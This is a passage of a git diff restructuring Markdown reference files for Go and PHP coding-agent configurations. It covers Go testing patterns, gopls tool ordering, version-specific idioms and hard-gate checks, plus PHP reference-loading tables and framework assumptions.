'self'") - w.Header().Set("Strict-Transport-Security", "max-age=31536000; includeSubDomains") - w.Header().Set("Referrer-Policy", "strict-origin-when-cross-origin") - next.ServeHTTP(w, r) - }) -} - -// Correct: validate Host header for URL construction -func buildCallbackURL(r *http.Request) string { - // Use configured host, not request Host header - host := os.Getenv("APP_HOST") // e.g., "https://app.example.com" - return host + "/callback" -} -``` - -**Why this matters**: Trusting the `Host` header for URL construction enables Host-header poisoning attacks, where password-reset emails contain attacker-controlled URLs. Security headers prevent XSS, clickjacking, and MIME-type confusion. - -**Detection**: -```bash -rg -n 'r\.Host|r\.Header\.Get\("Host"\)' . --type go -rg -n 'X-Content-Type-Options|X-Frame-Options|Content-Security-Policy' . --type go -``` diff --git a/agents/golang-general-engineer/references/go-testing.md b/agents/golang-general-engineer/references/go-testing.md deleted file mode 100644 index d02949c4..00000000 --- a/agents/golang-general-engineer/references/go-testing.md +++ /dev/null @@ -1,366 +0,0 @@ -# Go Testing Patterns - -> Reference file for golang-general-engineer agent. Loaded as context during Go development tasks. - -## Table-Driven Tests with t.Run - -The standard Go pattern for testing multiple scenarios. Each subtest gets its own name and can be run individually. - -```go -func TestParseSize(t *testing.T) { - tests := []struct { - name string - input string - want int64 - wantErr bool - }{ - {name: "bytes", input: "100B", want: 100}, - {name: "kilobytes", input: "2KB", want: 2048}, - {name: "megabytes", input: "1MB", want: 1_048_576}, - {name: "empty string", input: "", wantErr: true}, - {name: "invalid unit", input: "5XB", wantErr: true}, - {name: "negative", input: "-1KB", wantErr: true}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - got, err := ParseSize(tt.input) - if tt.wantErr { - if err == nil { - t.Fatalf("ParseSize(%q) expected error, got %d", tt.input, got) - } - return - } - if err != nil { - t.Fatalf("ParseSize(%q) unexpected error: %v", tt.input, err) - } - if got != tt.want { - t.Errorf("ParseSize(%q) = %d, want %d", tt.input, got, tt.want) - } - }) - } -} -``` - -Run a single subtest: `go test -run TestParseSize/kilobytes`. - -## t.Helper() for Test Helpers - -Mark helper functions with `t.Helper()` so failure messages report the caller's line, not the helper's. - -```go -func assertStatusCode(t *testing.T, resp *http.Response, want int) { - t.Helper() - if resp.StatusCode != want { - t.Errorf("status = %d, want %d", resp.StatusCode, want) - } -} - -func mustParseJSON[T any](t *testing.T, data []byte) T { - t.Helper() - var v T - if err := json.Unmarshal(data, &v); err != nil { - t.Fatalf("parse JSON: %v\ninput: %s", err, data) - } - return v -} -``` - -## t.Cleanup() for Teardown - -Prefer `t.Cleanup()` over `defer` in test helpers. Cleanup functions run after the test (and subtests) finish, and they run even if the test calls `t.Fatal`. - -```go -func setupTestDB(t *testing.T) *sql.DB { - t.Helper() - db, err := sql.Open("sqlite3", ":memory:") - if err != nil { - t.Fatalf("open db: %v", err) - } - t.Cleanup(func() { - db.Close() - }) - - _, err = db.Exec(schema) - if err != nil { - t.Fatalf("apply schema: %v", err) - } - return db -} - -func TestUserRepo(t *testing.T) { - db := setupTestDB(t) // cleanup happens automatically after test - repo := NewUserRepo(db) - // ... test logic -} -``` - -## Testing with Interfaces (Dependency Injection) - -Define small interfaces where you need them. Test with fake implementations. - -```go -// In your production code: define a narrow interface -type EmailSender interface { - Send(ctx context.Context, to, subject, body string) error -} - -type OrderService struct { - email EmailSender -} - -func (s *OrderService) PlaceOrder(ctx context.Context, order Order) error { - // ... process order ... - return s.email.Send(ctx, order.CustomerEmail, "Order Confirmed", body) -} - -// In your test file: provide a fake -type fakeEmailSender struct { - sent []string -} - -func (f *fakeEmailSender) Send(_ context.Context, to, subject, body string) error { - f.sent = append(f.sent, to) - return nil -} - -func TestPlaceOrder(t *testing.T) { - sender := &fakeEmailSender{} - svc := &OrderService{email: sender} - - err := svc.PlaceOrder(context.Background(), Order{CustomerEmail: "user@test.com"}) - if err != nil { - t.Fatalf("PlaceOrder: %v", err) - } - if len(sender.sent) != 1 || sender.sent[0] != "user@test.com" { - t.Errorf("expected email to user@test.com, sent: %v", sender.sent) - } -} -``` - -## httptest.NewServer for HTTP Testing - -Test HTTP clients by pointing them at a local test server. - -```go -func TestFetchUser(t *testing.T) { - server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - if r.URL.Path != "/users/42" { - http.NotFound(w, r) - return - } - w.Header().Set("Content-Type", "application/json") - fmt.Fprint(w, `{"id": 42, "name": "Alice"}`) - })) - t.Cleanup(server.Close) - - client := NewAPIClient(server.URL) // point client at test server - user, err := client.FetchUser(context.Background(), 42) - if err != nil { - t.Fatalf("FetchUser: %v", err) - } - if user.Name != "Alice" { - t.Errorf("Name = %q, want Alice", user.Name) - } -} -``` - -For handler testing without a server, use `httptest.NewRecorder`: -```go -func TestHealthHandler(t *testing.T) { - req := httptest.NewRequest(http.MethodGet, "/health", nil) - rec := httptest.NewRecorder() - - healthHandler(rec, req) - - if rec.Code != http.StatusOK { - t.Errorf("status = %d, want 200", rec.Code) - } - if body := rec.Body.String(); body != "ok" { - t.Errorf("body = %q, want ok", body) - } -} -``` - -## Golden File Testing - -Compare output against a saved "golden" file. Update golden files with `-update` flag. - -```go -var update = flag.Bool("update", false, "update golden files") - -func TestRenderTemplate(t *testing.T) { - got := renderTemplate(sampleData) - - golden := filepath.Join("testdata", t.Name()+".golden") - if *update { - os.MkdirAll("testdata", 0o755) - os.WriteFile(golden, []byte(got), 0o644) - return - } - - want, err := os.ReadFile(golden) - if err != nil { - t.Fatalf("read golden file: %v (run with -update to create)", err) - } - if diff := cmp.Diff(string(want), got); diff != "" { - t.Errorf("output mismatch (-want +got):\n%s", diff) - } -} -``` - -Update: `go test -run TestRenderTemplate -update` - -## Benchmarks with b.ResetTimer - -Measure performance and exclude setup time. - -```go -func BenchmarkSort(b *testing.B) { - // Setup: generate test data (excluded from timing) - data := make([]int, 10_000) - for i := range data { - data[i] = rand.IntN(100_000) - } - - b.ResetTimer() // start timing here - - for range b.N { - s := slices.Clone(data) - slices.Sort(s) - } -} - -// Run: go test -bench BenchmarkSort -benchmem -// Output: BenchmarkSort-8 1234 890123 ns/op 80000 B/op 1 allocs/op -``` - -Use `b.ReportAllocs()` to always show allocation stats. Use `b.RunParallel` for concurrency benchmarks. - -## Race Detection - -Run tests with the race detector to catch data races. It instruments memory accesses at compile time. - -```bash -go test -race ./... -``` - -Always enable in CI. The race detector has ~2-10x overhead, so it's fine for tests but not production. - -```go -// This test will fail with -race if the implementation has a data race -func TestConcurrentAccess(t *testing.T) { - cache := NewCache() - var wg sync.WaitGroup - - for range 100 { - wg.Add(2) - go func() { - defer wg.Done() - cache.Set("key", "value") - }() - go func() { - defer wg.Done() - _ = cache.Get("key") - }() - } - wg.Wait() -} -``` - -## Fuzz Testing (Go 1.18+) - -Let Go generate random inputs to find edge cases you didn't think of. - -```go -func FuzzParseSize(f *testing.F) { - // Seed corpus: known inputs to start from - f.Add("100B") - f.Add("2KB") - f.Add("1MB") - f.Add("") - f.Add("not-a-size") - - f.Fuzz(func(t *testing.T, input string) { - size, err := ParseSize(input) - if err != nil { - return // invalid input is fine, just don't panic - } - // Property: valid sizes are non-negative - if size < 0 { - t.Errorf("ParseSize(%q) = %d, want non-negative", input, size) - } - // Property: roundtrip (if you have FormatSize) - formatted := FormatSize(size) - roundtrip, err := ParseSize(formatted) - if err != nil { - t.Errorf("roundtrip failed: ParseSize(%q) error: %v", formatted, err) - } - if roundtrip != size { - t.Errorf("roundtrip: %d -> %q -> %d", size, formatted, roundtrip) - } - }) -} -``` - -Run: `go test -fuzz FuzzParseSize -fuzztime 30s` - -## testscript for CLI Testing - -The `testscript` package (from `github.com/rogpeppe/go-internal`) tests CLI tools using script files. - -```go -// In main_test.go -func TestMain(m *testing.M) { - os.Exit(testscript.RunMain(m, map[string]func() int{ - "mycli": mainFunc, // register your CLI entry point - })) -} - -func TestCLI(t *testing.T) { - testscript.Run(t, testscript.Params{ - Dir: "testdata/scripts", - }) -} -``` - -``` -# testdata/scripts/basic.txtar -# Test basic usage -exec mycli --version -stdout 'mycli v1\.\d+\.\d+' - -# Test with input file -exec mycli process input.txt -stdout 'processed 3 items' -! stderr . - --- input.txt -- -line1 -line2 -line3 -``` - -## Test Fixtures with t.TempDir - -Use `t.TempDir()` for tests that need a temporary directory. It's automatically cleaned up. - -```go -func TestWriteConfig(t *testing.T) { - dir := t.TempDir() // auto-cleaned after test - path := filepath.Join(dir, "config.yaml") - - err := WriteConfig(path, &Config{Port: 8080}) - if err != nil { - t.Fatalf("WriteConfig: %v", err) - } - - got, err := os.ReadFile(path) - if err != nil { - t.Fatalf("read written config: %v", err) - } - if !strings.Contains(string(got), "port: 8080") { - t.Errorf("config missing port:\n%s", got) - } -} -``` diff --git a/agents/golang-general-engineer/references/go-verification-workflow.md b/agents/golang-general-engineer/references/go-verification-workflow.md new file mode 100644 index 00000000..5210cc88 --- /dev/null +++ b/agents/golang-general-engineer/references/go-verification-workflow.md @@ -0,0 +1,64 @@ +# Go Verification Workflow + +Toolkit-specific verification: gopls MCP ordering, library-source checks, rebuilt-binary and render-time verification, dead-code analysis. Loaded for any Go edit, review, or cleanup task. + +## gopls MCP Tool Order + +Available when `.mcp.json` has a gopls entry and the project has `go.mod`. + +| Tool | When (mandatory ordering) | +|------|---------------------------| +| `go_workspace` | First call of every Go session | +| `go_vulncheck` | After `go_workspace` confirms a Go workspace; again after dependency changes | +| `go_file_context` | After reading any Go file for the first time | +| `go_symbol_references` | Before modifying any symbol definition | +| `go_diagnostics` | After every code edit; re-run after applying fixes | +| `go_search` / `go_package_api` | Fuzzy symbol search / third-party package API inspection, as needed | + +``` +go_symbol_references({"file": "/path/to/server.go", "symbol": "Server.Run"}) +go_diagnostics({"files": ["/path/to/server.go"]}) +``` + +Fallback without gopls: `LSP` tool (goToDefinition, findReferences), `Grep` for symbols, `go build` / `go vet` / `go test` for diagnostics. gopls understands types and references where grep sees text — use `go_symbol_references` before renaming. + +## Verify the Library, Not the Protocol + +**What it looks like**: "Kafka consumer groups will rebalance after a member leaves, so this is safe." +**Why wrong**: Protocol-level behavior and library-level behavior are not the same. LLMs reason from training data about protocols, not from reading the specific library version in go.mod. +**Do instead**: Read the library source in GOMODCACHE. The question is not "how does the protocol work?" but "how does THIS library version implement THIS method?" + +```bash +cat $(go env GOMODCACHE)/path/to/lib@version/file.go +``` + +## Rebuilt Binary Check + +When testing a fix to a CLI binary, confirm the binary you're running matches the fix. Check `stat -f %m ./bin/foo` (BSD stat; `stat -c %Y` on Linux) vs the fix commit time, or compare the embedded version SHA against `git rev-parse HEAD`. A stale binary silently passes tests against the old (broken) code path. + +## Render-Time Fixes Need Render-Time Verification + +Bugs that manifest at output-render time (table layout, template output, log formatting) slip past compile + `go test`. Build a small standalone reproducer under `/tmp` with realistic fake data, run it, and compare before/after output byte-for-byte. Use the module cache rather than vendoring; backend creds stay unneeded. + +## Dead Code Analysis with deadcode + +`golang.org/x/tools/cmd/deadcode` (SSA whole-program analysis) resolves interface dispatch, method values, and reflection — edges syntax tools miss. Run it during VERIFY for cleanup, review, or refactoring-prep tasks; skip it when the question is only "does this build and pass tests?" + +```bash +go install golang.org/x/tools/cmd/deadcode@latest +deadcode ./... # one line per unreachable function +deadcode -json ./... # machine-parseable +deadcode -test ./... # include test binary entry points + +# VERIFY sequence for cleanup tasks +go vet ./... && deadcode ./... && go test ./... +``` + +Known false positives, with fixes: + +| Finding | Cause | Fix | +|---------|-------|-----| +| Test helpers flagged (`setupTestDB`, `assertResponse`) | Reachability is computed from `main` entry points; test binaries are excluded by default | `grep -rn "" --include="*_test.go"` to confirm usage, or run `deadcode -test ./...` | +| Exported library API flagged | deadcode cannot see callers outside the module | For library code, act only on unexported findings | + +**Tooling decision (measured)**: A/B tested across 5 tests on 2 repos (hermes, log-router): tree-sitter call graph added no measurable value over grep + file reading for dead code detection, code audits, PR reviews, or impact analysis. `deadcode` + `gopls` + grep cover all Go use cases with equal or better results. For impact analysis ("what calls this function?"), use `go_symbol_references` or grep — both outperformed tree-sitter call graphs in blind testing. diff --git a/agents/golang-general-engineer/references/go-version-idioms.md b/agents/golang-general-engineer/references/go-version-idioms.md new file mode 100644 index 00000000..f665c58c --- /dev/null +++ b/agents/golang-general-engineer/references/go-version-idioms.md @@ -0,0 +1,70 @@ +# Go Version Idioms and Gates + +Version-pinned idiom table, hard gates, and error-message-to-version map. Check `go.mod` before applying any row: writing a 1.24+ idiom on a project pinned to 1.21 breaks the build. + +```bash +grep '^go ' go.mod # "go 1.23" means 1.23 features, not 1.24+ +``` + +## Idiom Replacement Table (Go 1.18–1.26) + +The most common AI-generated Go failure mode is old idioms where modern ones exist: + +| Outdated Pattern | Modern Replacement | Since | +|-----------------|-------------------|-------| +| `interface{}` | `any` | 1.18 | +| `if a > b { return a }; return b` | `max(a, b)` / `min(a, b)` | 1.21 | +| Manual loop for slice search | `slices.Contains(items, x)` | 1.21 | +| `sort.Slice(s, less)` | `slices.SortFunc(s, cmp)` | 1.21 | +| Manual map copy loop | `maps.Clone(m)` | 1.21 | +| `sync.Once` + wrapper func | `sync.OnceFunc(fn)` / `sync.OnceValue(fn)` | 1.21 | +| `log.Printf(...)` | `slog.Info(msg, key, val)` | 1.21 | +| `for i := 0; i < n; i++` | `for i := range n` | 1.22 | +| Chain of nil checks for defaults | `cmp.Or(a, b, c, "default")` | 1.22 | +| Third-party HTTP router | `mux.HandleFunc("GET /path/{id}", h)` + `r.PathValue("id")` | 1.22 | +| Custom iterator types | `iter.Seq[T]` / `iter.Seq2[K,V]` | 1.23 | +| String dedup caches | `unique.Make(s)` | 1.23 | +| `for _, p := range strings.Split(s, ",")` | `for p := range strings.SplitSeq(s, ",")` | 1.24 | +| `for i := 0; i < b.N; i++` in benchmarks | `for b.Loop()` | 1.24 | +| `ctx, cancel := context.WithCancel(...)` in tests | `ctx := t.Context()` | 1.24 | +| `json:"field,omitempty"` for structs/Duration | `json:"field,omitzero"` | 1.24 | +| Manual path sanitization | `os.OpenRoot(dir)` | 1.24 | +| `time.Sleep` in concurrency tests | `testing/synctest` | 1.24 | +| `wg.Add(1); go func() { defer wg.Done()... }()` | `wg.Go(func() { ... })` | 1.25 | +| `x := val; &x` for pointer | `new(val)` | 1.26 | +| `var t *T; errors.As(err, &t)` | `errors.AsType[*T](err)` | 1.26 | + +Notes on the newest rows: +- `new(val)` infers the type: `new(0)` is `*int`, `new(T{})` is `*T`. Write `new(0)` directly; a cast like `new(int(0))` is redundant. +- Loop variables are per-iteration since 1.22; explicit capture (`go func(i Item) {...}(item)`) remains the portable pattern for older targets. +- `b.Loop()` also excludes setup iterations from timing. + +## Hard Gates (STOP / REPORT / FIX) + +Framework: `skills/shared-patterns/forbidden-patterns-template.md`. + +| Pattern | Why blocked | Fix | +|---------|-------------|-----| +| `_ = err` (blank error) | Silent failures | `if err != nil { return fmt.Errorf("context: %w", err) }` | +| `panic()` in library code | Crashes caller with no recovery path | Return errors; panic stays in `main()`/`init()` for config failures | +| `go func()` without WaitGroup/context | Goroutine leak, no way to wait/cancel | WaitGroup or context for lifecycle | +| `json:",omitempty"` on structs/Duration | Zero-value structs and Durations still serialize | `json:",omitzero"` (1.24+); on older targets, pointer fields | + +```bash +grep -rn "_ = .*err" --include="*.go" +grep -rn "interface{}" --include="*.go" +grep -rn "for.*b\.N" --include="*_test.go" +grep -rn 'omitempty.*Duration\|omitempty.*Time\|omitempty.*struct' --include="*.go" +``` + +Sanctioned exceptions: `panic()` in `main()`/`init()` for configuration errors; `interface{}` in generated code (protobuf); blank identifier for intentionally ignored non-error values; `omitempty` when targeting Go < 1.24. + +## Error Message → Version Map + +| Error Message | Root Cause | Fix | +|---------------|------------|-----| +| `undefined: slices.Contains` | Go < 1.21 | Upgrade go.mod or implement manually | +| `cannot range over N (variable of type int)` | Go < 1.22 | `for i := 0; i < N; i++` | +| `t.Context undefined` | Go < 1.24 | `context.WithCancel(context.Background())` + `t.Cleanup(cancel)` | +| `undefined: (*sync.WaitGroup).Go` | Go < 1.25 | Add/Done pattern | +| `undefined: errors.AsType` | Go < 1.26 | `errors.As(err, &target)` | diff --git a/agents/golang-general-engineer/references/gopls-workflows.md b/agents/golang-general-engineer/references/gopls-workflows.md deleted file mode 100644 index 8979ab7c..00000000 --- a/agents/golang-general-engineer/references/gopls-workflows.md +++ /dev/null @@ -1,62 +0,0 @@ -# gopls MCP Server Integration - -The gopls MCP server provides workspace-aware Go intelligence. When working in a Go workspace, these tools give you capabilities beyond generic file operations. Loaded when working in a Go workspace with gopls configured. - -## Available gopls MCP Tools - -| Tool | Purpose | When to Use | -|------|---------|-------------| -| `go_workspace` | Learn workspace structure (module, workspace, GOPATH) | **Start of every Go session** — MUST use first | -| `go_vulncheck` | Identify security vulnerabilities | After `go_workspace` confirms Go workspace; after adding/updating dependencies | -| `go_search` | Fuzzy symbol search across workspace | Finding types, functions, variables by name | -| `go_file_context` | Show intra-package dependencies for a file | **After reading any Go file for the first time** — MUST use | -| `go_package_api` | Show a package's public API | Understanding third-party deps or other packages | -| `go_symbol_references` | Find all references to a symbol | **Before modifying any symbol definition** — MUST use | -| `go_diagnostics` | Report build/analysis errors for files | **After every code edit** — MUST use | - -## gopls Read Workflow - -Follow this when understanding Go code: - -1. **Understand workspace layout**: Use `go_workspace` to learn the overall structure -2. **Find relevant symbols**: Use `go_search` for fuzzy symbol search - ``` - go_search({"query": "Server"}) - ``` -3. **Understand file dependencies**: After reading any Go file, use `go_file_context` - ``` - go_file_context({"file": "/path/to/server.go"}) - ``` -4. **Understand package APIs**: Use `go_package_api` for external package inspection - ``` - go_package_api({"packagePaths": ["example.com/internal/storage"]}) - ``` - -## gopls Edit Workflow - -Follow this iterative cycle when modifying Go code: - -1. **Read first**: Follow the Read Workflow to understand the code -2. **Find references**: Before modifying ANY symbol, use `go_symbol_references` - ``` - go_symbol_references({"file": "/path/to/server.go", "symbol": "Server.Run"}) - ``` -3. **Make edits**: Apply all planned changes including reference updates -4. **Check diagnostics**: After EVERY edit, call `go_diagnostics` - ``` - go_diagnostics({"files": ["/path/to/server.go"]}) - ``` -5. **Fix errors**: Apply suggested quick fixes if correct, then re-run `go_diagnostics` -6. **Check vulnerabilities**: If go.mod changed, run `go_vulncheck({"pattern": "./..."})` -7. **Run tests**: Only after `go_diagnostics` reports no errors - -## gopls Tool Availability - -gopls MCP tools are only available when: -- The gopls MCP server is configured (`.mcp.json` with gopls entry) -- You are working in a Go workspace (has `go.mod`) - -If gopls tools are not available, fall back to: -- `LSP` tool for goToDefinition, findReferences, hover, documentSymbol -- `Grep` for symbol searching -- `Bash` with `go build`, `go vet`, `go test` for diagnostics diff --git a/agents/golang-general-engineer/references/patterns-and-gates.md b/agents/golang-general-engineer/references/patterns-and-gates.md deleted file mode 100644 index ea10ff0d..00000000 --- a/agents/golang-general-engineer/references/patterns-and-gates.md +++ /dev/null @@ -1,126 +0,0 @@ -# Go Patterns, Gates, and Rationalizations - -Modern idiom replacement table, failure modes, rationalizations, hard gate patterns, and death loop prevention. Loaded when reviewing or writing Go code. - -## Preferred Patterns - -### Modern Idiom Patterns - -These are the most common AI-generated Go failure modes — using old patterns when modern alternatives exist: - -| Outdated Pattern | Modern Replacement | Since | -|-----------------|-------------------|-------| -| `interface{}` | `any` | Go 1.18 | -| `if a > b { return a }; return b` | `max(a, b)` | Go 1.21 | -| Manual loop for slice search | `slices.Contains(items, x)` | Go 1.21 | -| `sort.Slice(s, less)` | `slices.SortFunc(s, cmp)` | Go 1.21 | -| Manual map copy loop | `maps.Clone(m)` | Go 1.21 | -| `sync.Once` + wrapper func | `sync.OnceFunc(fn)` | Go 1.21 | -| `for i := 0; i < n; i++` | `for i := range n` | Go 1.22 | -| Chain of nil checks for defaults | `cmp.Or(a, b, c, "default")` | Go 1.22 | -| `for _, part := range strings.Split(s, ",")` | `for part := range strings.SplitSeq(s, ",")` | Go 1.24 | -| `for i := 0; i < b.N; i++` in benchmarks | `for b.Loop()` | Go 1.24 | -| `ctx, cancel := context.WithCancel(...)` in tests | `ctx := t.Context()` | Go 1.24 | -| `json:"field,omitempty"` for structs/Duration | `json:"field,omitzero"` | Go 1.24 | -| `wg.Add(1); go func() { defer wg.Done()... }()` | `wg.Go(func() { ... })` | Go 1.25 | -| `x := val; &x` for pointer | `new(val)` | Go 1.26 | -| `var t *T; errors.As(err, &t)` | `errors.AsType[*T](err)` | Go 1.26 | - -### Protocol Reasoning Instead of Library Verification -**What it looks like**: "Kafka consumer groups will rebalance after a member leaves, so this is safe." -**Why wrong**: Protocol-level behavior and library-level behavior are not the same. LLMs reason from training data about protocols, not from reading the specific library version in go.mod. -**Do instead**: Read the library source in GOMODCACHE. The question is never "how does the protocol work?" but "how does THIS library version implement THIS method?" Use: `cat $(go env GOMODCACHE)/path/to/lib@version/file.go` - -## Anti-Rationalization - -See [shared-patterns/anti-rationalization-core.md](../../skills/shared-patterns/anti-rationalization-core.md) for universal patterns. - -### Go-Specific Rationalizations - -| Rationalization Attempt | Why It's Wrong | Required Action | -|------------------------|----------------|-----------------| -| "Tests pass, code is correct" | Tests may not cover race conditions | Run `go test -race`, check coverage | -| "Go's type system catches it" | Types miss goroutine leaks and logic errors | Test concurrency, check goroutine lifecycle | -| "It compiles, it's correct" | Compilation ≠ Correctness | Run tests, vet, and race detector | -| "Defer will handle cleanup" | Defer only runs when function returns | Check early returns, panics, infinite loops | -| "Channels prevent race conditions" | Channels alone leave some races uncovered | Still need proper synchronization patterns | -| "Error handling can wait" | Errors compound in production | Handle errors at write time | -| "Small change, skip tests" | Small changes cause big bugs | Full test suite always | -| "This Go version doesn't matter" | Using wrong-version features breaks builds | Check `go.mod`, use version-appropriate features | -| "gopls isn't needed, I can grep" | gopls understands types and references; grep sees text | Use `go_symbol_references` before renaming | - -## Hard Gate Patterns - -Before writing Go code, check for these patterns. If found: -1. STOP - Pause implementation -2. REPORT - Flag to user -3. FIX - Remove before continuing - -See [shared-patterns/forbidden-patterns-template.md](../../skills/shared-patterns/forbidden-patterns-template.md) for framework. - -| Pattern | Why Blocked | Correct Alternative | -|---------|---------------|---------------------| -| `_ = err` (blank error) | Silent failures, violates Go conventions | `if err != nil { return fmt.Errorf("context: %w", err) }` | -| `interface{}` instead of `any` | Deprecated syntax (Go 1.18+) | Use `any` | -| `panic()` in library code | Crashes caller, no recovery | Return errors instead | -| Unbuffered channel in select | Potential deadlock | Use buffered channel or proper sync | -| `go func()` without WaitGroup/context | Goroutine leak, no way to wait/cancel | Use WaitGroup or context for lifecycle | -| `for i := 0; i < b.N; i++` | Outdated benchmark loop (Go 1.24+) | Use `b.Loop()` | -| `json:",omitempty"` on structs/Duration | Doesn't work correctly for these types | Use `json:",omitzero"` (Go 1.24+) | - -### Detection -```bash -# Find blank error ignores -grep -rn "_ = .*err" --include="*.go" - -# Find interface{} usage -grep -rn "interface{}" --include="*.go" - -# Find panic in non-main packages -grep -rn "panic(" --include="*.go" --exclude="*_test.go" | grep -v "/main.go" - -# Find outdated benchmark loops -grep -rn "for.*b\.N" --include="*_test.go" - -# Find omitempty on struct/Duration fields -grep -rn 'omitempty.*Duration\|omitempty.*Time\|omitempty.*struct' --include="*.go" -``` - -### Exceptions -- `panic()` in `main()` or `init()` for configuration errors -- `interface{}` in generated code (protobuf, etc.) -- Blank identifier for intentionally ignored values (not errors) -- `omitempty` when targeting Go < 1.24 - -## Blocker Criteria - -STOP and ask the user (get explicit confirmation) before proceeding when: - -| Situation | Why Stop | Ask This | -|-----------|----------|----------| -| Concurrency model choice | Architecture decision | "Worker pool vs fan-out/fan-in? What's the concurrency pattern?" | -| Error handling strategy | Consistency needed | "Wrap all errors or sentinel errors? What's the existing pattern?" | -| Interface design | API contract | "What operations should this interface support?" | -| External dependency | Maintenance burden | "Add package X or implement? What's the maintenance posture?" | -| Breaking API change | Affects consumers | "This changes public API. How to handle migration?" | -| Database/storage choice | Long-term architecture | "SQL, NoSQL, or file-based? What are the requirements?" | - -## Death Loop Prevention - -### Retry Limits -- Maximum 3 attempts for any operation (build, test, vet) -- Clear failure escalation: fix root cause, address a different aspect each attempt - -### Compilation-First Rule -1. Verify `go build` succeeds before running tests -2. Fix compilation errors before linting -3. Run tests before benchmarking or profiling - -### Recovery Protocol -**Detection**: If making repeated similar changes that fail -**Intervention**: -1. Run `go build ./...` to verify compilation -2. Run `go test -v ./...` to see actual failures -3. Read the ACTUAL error message carefully -4. Check if fix addresses root cause vs symptom -5. Use `go_diagnostics` if gopls MCP is available for richer error context diff --git a/agents/php-general-engineer.md b/agents/php-general-engineer.md index 76196649..336119b1 100644 --- a/agents/php-general-engineer.md +++ b/agents/php-general-engineer.md @@ -157,39 +157,21 @@ Configures Claude for idiomatic, production-ready PHP code following PSR-12 and --- -## PHP Patterns +## PHP Conventions, Security & Testing -See [`references/php-patterns.md`](php-general-engineer/references/php-patterns.md) for thin controller patterns, DTOs, value objects, and preferred patterns. - ---- - -## Security & Testing - -See [`references/php-security-testing.md`](php-general-engineer/references/php-security-testing.md) for security patterns, hard gates, and testing methodology. +See [`references/php-conventions.md`](php-general-engineer/references/php-conventions.md) for hard gates with fixes, per-repo detection commands, SQL/session/dependency rules, and testing conventions. --- ## Core Expertise, Capabilities, Output Format -See [`references/hooks-and-behaviors.md`](php-general-engineer/references/hooks-and-behaviors.md) for the full Core Expertise table, Capabilities & Limitations lists, and the Implementation Schema output format. +See [`references/hooks-and-behaviors.md`](php-general-engineer/references/hooks-and-behaviors.md) for operator behaviors, tooling tier, framework variants, and the Implementation Schema output format. --- -## Reference Files - -Deep-dive material loaded on demand. - -| Reference | Content | -|-----------|---------| -| [`references/hooks-and-behaviors.md`](php-general-engineer/references/hooks-and-behaviors.md) | PostToolUse hook command block (full), PHP version table, framework variants, static analysis tier, hardcoded/default/optional behaviors, companion skills, core expertise table, capabilities & limitations, Implementation Schema | -| [`references/php-patterns.md`](php-general-engineer/references/php-patterns.md) | Thin controller template, DTO/value object examples, constructor injection recipes, preferred patterns with detection commands | -| [`references/php-security-testing.md`](php-general-engineer/references/php-security-testing.md) | Prepared statement patterns, PDO/Doctrine/Eloquent examples, mass-assignment checklist, CSRF enforcement, session regeneration, hard gate violations, PHPUnit/Pest methodology, factory fixtures | - ## Reference Loading Table | Signal | Load These Files | Why | |---|---|---| -| [`references/hooks-and-behaviors.md`](php-general-engineer/references/hooks-and-behaviors.md) | `hooks-and-behaviors.md)` | PostToolUse hook command block (full), PHP version table, framework variants, static analysis tier, hardcoded/default/optional behaviors, companion skills, core expertise table, capabilities & limitations, Implementation Schema | -| [`references/php-patterns.md`](php-general-engineer/references/php-patterns.md) | `php-patterns.md)` | Thin controller template, DTO/value object examples, constructor injection recipes, preferred patterns with detection commands | -| [`references/php-security-testing.md`](php-general-engineer/references/php-security-testing.md) | `php-security-testing.md)` | Prepared statement patterns, PDO/Doctrine/Eloquent examples, mass-assignment checklist, CSRF enforcement, session regeneration, hard gate violations, PHPUnit/Pest methodology, factory fixtures | -| Security, auth, injection, XSS, CSRF, SSRF, deserialization, or any vulnerability-related code | [`references/php-security.md`](php-general-engineer/references/php-security.md) | Secure implementation patterns for PHP, Laravel, Symfony | +| pint, phpstan, psalm, composer.json php version, strict_types, feature branch, SAP Commerce, Hybris, companion skills, Implementation Schema, PostToolUse | [`references/hooks-and-behaviors.md`](php-general-engineer/references/hooks-and-behaviors.md) | Full PostToolUse hook block, hardcoded/default/optional behaviors, tooling tier, framework variants, output schema | +| prepared statements, PDO, $fillable, $guarded, mass assignment, session_regenerate_id, csrf except, mysql_, preg_replace /e, extract, unserialize, composer audit, PHPUnit, Pest, factories, coverage | [`references/php-conventions.md`](php-general-engineer/references/php-conventions.md) | Hard-gate table with fixes, per-repo detection commands, SQL/session/dependency rules, testing conventions | diff --git a/agents/php-general-engineer/references/hooks-and-behaviors.md b/agents/php-general-engineer/references/hooks-and-behaviors.md index 80ddea58..f35a9248 100644 --- a/agents/php-general-engineer/references/hooks-and-behaviors.md +++ b/agents/php-general-engineer/references/hooks-and-behaviors.md @@ -67,29 +67,9 @@ hooks: timeout: 5000 ``` ---- +## Version, Framework, and Tooling Assumptions -## PHP Version Assumptions - -Default target: **PHP 8.2+** unless the project's `composer.json` specifies otherwise. - -| Feature | Minimum Version | -|---------|----------------| -| Readonly properties | 8.1 | -| Readonly classes | 8.2 | -| Enums | 8.1 | -| Fibers | 8.1 | -| Named arguments | 8.0 | -| Match expressions | 8.0 | -| Constructor promotion | 8.0 | -| Union types | 8.0 | -| Intersection types | 8.1 | -| `never` return type | 8.1 | -| First-class callable syntax | 8.1 | - -Always check `composer.json` `require.php` before using features. Use only features available in the project's target version. - -## Framework Variants +- Default target: **PHP 8.2+**. Check `composer.json` `require.php` before using any version-specific feature; use only features available in the project's target version. | Framework | Key Idioms | |-----------|-----------| @@ -98,8 +78,6 @@ Always check `composer.json` `require.php` before using features. Use only featu | Plain PHP | PSR-11 containers (PHP-DI, Pimple), PSR-7/15 middleware stacks | | SAP Commerce Cloud (Hybris) | Hybris service layer conventions, Spring-like DI, impex imports, backoffice customization via extension | -## Static Analysis Tier - | Tool | Preferred Configuration | |------|------------------------| | PHPStan | Level 8+ (`phpstan.neon`), Larastan for Laravel projects | @@ -108,93 +86,45 @@ Always check `composer.json` `require.php` before using features. Use only featu ## Hardcoded Behaviors (Always Apply) -- **STOP. Read the file before editing.** Never edit a file you have not read in this session. If you are about to call Edit or Write on a file you have not read, STOP and read it first. -- **STOP. Run tests/analysis before reporting completion.** Execute `./vendor/bin/phpunit` (or `./vendor/bin/pest`) and `./vendor/bin/phpstan analyse` and show their actual output. Do not summarize as "tests pass." -- **Create feature branch, never commit to main.** All code changes go on a feature branch. If on main, create a branch before committing. -- **Verify dependencies exist before importing them.** Check 